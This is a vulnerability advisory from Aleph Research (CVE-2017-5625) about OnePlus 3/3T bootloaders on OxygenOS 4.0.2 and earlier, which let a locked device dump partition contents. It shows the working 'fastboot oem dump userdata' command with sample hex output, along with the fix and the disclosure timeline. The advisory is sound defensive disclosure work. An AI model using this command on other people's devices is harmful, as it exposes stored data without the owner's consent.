<--

OnePlus 3/3T OxygenOS Unauthorized Flash Dumping via fastboot

Aleph Research Advisory

Identifier

CVE-2017-5625

Severity

Moderate

Products

  1. OnePlus 3T

  2. OnePlus 3

Vulnerable Version

OxygenOS 4.0.2 and earlier

Mitigation

Install OxygenOS 4.0.3 or later

Summary

A physical attacker, PC malware / malicious charger having ADB or fastboot access to the device can cause a locked bootloader to partially dump the content of an arbitrary partition (except keystore) by issuing the fastboot oem dump <partition> fastboot command.

Technical Details

The bootloader’s fastboot interface must not allow any security-sensitive operation to be run unless the bootloader is unlocked. However, in the affected OnePlus devices and OxygenOS versions, one could partially dump the content of any partition (except keystore):

> fastboot oem dump userdata
[...]
(bootloader) Dump partition: userdata
(bootloader) C0C7A7D7DFE7BA0214A21F3366313AF2DA7B36AEF27B5C40694D9534B2D
(bootloader) 3B19C068DEED8C7D333037AB6B770494DD054076171B1D33555C7EEC3FB
(bootloader) E793F5692B86E95D4D697FA98966D82E256103641605149439404A89309
(bootloader) 9EFFB47DFC976857BDE7D388A0DC45B84A97CCD7A0F9CD592EE50D6D6EE
(bootloader) 239E3D9829DFC8627A0F19D8D73FE258A7B576C31DACBAB0EB8B5D01679
(bootloader) B78A8C51D338385A853E4E2A3DBA2A873FC707BEE052F56168050964B94
[...]

And indeed the data is correct:

OnePlus3:/dev/block/bootdevice/by-name # head userdata | od -tx
0000000 c0c7a7d7 dfe7ba02 14a21f33 66313af2
0000020 da7b36ae f27b5c40 694d9534 b2d361fa
0000040 2cd4f050 79e5e97c 55be1782 b34fbfef
0000060 1edc578b b8cdaf6d 24dfaf1b d7461400
0000100 3b19c068 deed8c7d 333037ab 6b770494
0000120 dd054076 171b1d33 0555c7ee c3fb029b
0000140 4f92d8a2 2af74432 e07bf276 42e3639e
0000160 d5979e35 7cd4adcb ed181221 09a484d1

One may argue that this is not an issue because userdata is encrypted, however please note that:

  1. Google has recently patched a vulnerability with a similar impact in Pixel (CVE-2016-8462). It was rated with ‘High’ severity.
  2. Other vulnerabilies (if found) can be used in order to leak the AES master key from memory.

Timeline

  • 25-Apr-17
    : Public disclosure.
  • 20-Mar-17
    : Patch available.
  • 01-Mar-17
    : Added as ALEPH-2017006.
  • 29-Jan-17
    : CVE-2017-5625 assigned.
  • 25-Jan-17
    : CVE ID requested.
  • 23-Jan-17
    : Reported.

Credit